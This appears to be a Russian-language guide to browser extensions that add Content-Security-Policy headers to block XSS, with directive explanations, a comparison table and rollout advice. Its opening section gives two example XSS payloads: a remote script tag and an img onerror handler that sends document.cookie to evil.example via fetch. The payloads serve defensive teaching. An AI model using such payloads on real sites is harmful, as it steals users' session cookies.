Если коротко, CSP-расширение — это браузерное дополнение, которое добавляет или ужесточает Content-Security-Policy для страниц. Оно помогает браузеру не запускать подозрительные скрипты и снижает риск XSS, но не заменяет нормальную CSP на сервере сайта.
Такой инструмент полезен в трёх случаях: вы хотите усилить защиту своего браузера, тестируете политику безопасности перед внедрением на сайте или управляете корпоративными браузерами. В каждом случае подход будет разным.
Что делает CSP-расширение при XSS
XSS появляется, когда чужой код попадает на страницу и браузер выполняет его как свой. Например, злоумышленник может попытаться вставить скрипт:
<script src="https://evil.example/payload.js"></script>Или использовать inline-событие:
<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)">Если для страницы действует строгая CSP, браузер не даст запустить такой код. Например, политика:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'none';
form-action 'self'означает примерно следующее: скрипты можно брать только с текущего домена, плагины запрещены, тег <base> нельзя использовать для подмены адресов, формы можно отправлять только на тот же сайт.
CSP-расширение делает то же самое, только на стороне браузера: оно добавляет заголовок Content-Security-Policy к ответу сайта или добавляет отдельную политику поверх уже существующей.
Главное ограничение: расширение защищает только тот браузер, где оно установлено. Если вы владелец сайта, для защиты всех пользователей CSP нужно внедрять на сервере, CDN или в заголовках приложения.
Чем CSP-расширение отличается от обычной CSP на сайте
| Подход | Что защищает | Плюсы | Минусы | Когда выбирать |
|---|---|---|---|---|
| CSP на сервере сайта | Всех пользователей сайта | Самый правильный вариант для продукта | Нужно менять приложение, CDN или серверные настройки | Если вы владелец сайта или отвечаете за его безопасность |
| CSP-расширение | Только ваш браузер или браузеры сотрудников | Быстро, без доступа к серверу сайта | Не защитит других пользователей, может ломать функциональность | Для личного усиления защиты, тестов или корпоративного профиля |
| Блокировщик скриптов с белым списком | Только ваш браузер | Проще в использовании, хорошо отсекает лишние скрипты | Меньше контроля над конкретными CSP-директивами | Для обычных пользователей, которым нужна практичная защита |
| Кастомное расширение | Выбранные сайты или домены компании | Можно настроить под конкретные системы | Нужно разрабатывать, тестировать и поддерживать | Для корпоративных веб-приложений и контролируемых браузеров |
Какие директивы CSP действительно нужны против XSS
Не каждая CSP одинаково полезна. Если оставить в политике unsafe-inline и unsafe-eval, защита от XSS сильно проседает. Браузер снова сможет выполнять inline-скрипты, обработчики событий и код, созданный через eval().
Для защиты от XSS в первую очередь смотрят на эти директивы:
script-src— разрешает, откуда можно загружать JavaScript. Это основная директива против XSS.default-src— запасное правило для ресурсов, если для них нет отдельной директивы.object-src 'none'— запрещает устаревшие плагины вроде Flash и снижает риск загрузки опасного контента.base-uri 'none'— не даёт менять базовый URL страницы через<base>.form-action 'self'— ограничивает, куда можно отправлять формы.connect-src— ограничивает запросы черезfetch,XMLHttpRequest, WebSocket и похожие механизмы. Полезно против утечки данных.frame-ancestors— больше про clickjacking, но часто идёт рядом с CSP-защитой.require-trusted-types-for 'script'— помогает против DOM XSS, но поддерживается не во всех сценариях одинаково.
Если сайт использует inline-скрипты, лучше не разрешать их через unsafe-inline, а переходить на nonce или хеши. Пример хорошей идеи:
script-src 'self' 'nonce-случайное-значение-на-каждый-ответ'Но есть нюанс: CSP-расширение обычно не знает, какой nonce должен быть у конкретной страницы. Поэтому для сторонних сайтов расширение чаще просто блокирует inline-скрипты. Это безопасно, но может сломать старые сайты, админки, конструкторы форм и CMS-плагины.
Как запускать CSP-расширение без поломки сайта
Самая частая ошибка — сразу поставить максимально жёсткую политику и удивиться, что перестали работать формы, карты, виджеты, аналитика или панель администратора. CSP лучше вводить постепенно.
- Определите цель. Вы защищаете личный браузер, тестируете сайт перед внедрением или настраиваете корпоративные рабочие станции?
- Начните с отчётов. Если расширение поддерживает
Content-Security-Policy-Report-Only, используйте его. Браузер будет показывать, что было бы заблокировано, но ещё не будет ломать работу. - Соберите список источников. Откройте DevTools, вкладку Network, и посмотрите, какие домены реально используются: CDN, API, шрифты, изображения, iframe, виджеты.
- Не используйте широкие разрешения без необходимости.
script-src https:выглядит удобно, но разрешает скрипты почти с любого HTTPS-домена. Лучше перечислять конкретные источники. - Добавляйте CSP через
append, а не через перезапись. Если расширение заменяет существующий заголовок сайта, оно может случайно ослабить защиту. - Тестируйте сценарии, а не только главную страницу. Проверьте вход, оплату, загрузку файлов, админку, формы, модальные окна, iframe и мобильную версию.
- Оставляйте исключения точечно. Не «разрешить всё», а конкретный домен для конкретного ресурса.
Для собственного сайта стартовая политика может выглядеть так:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self'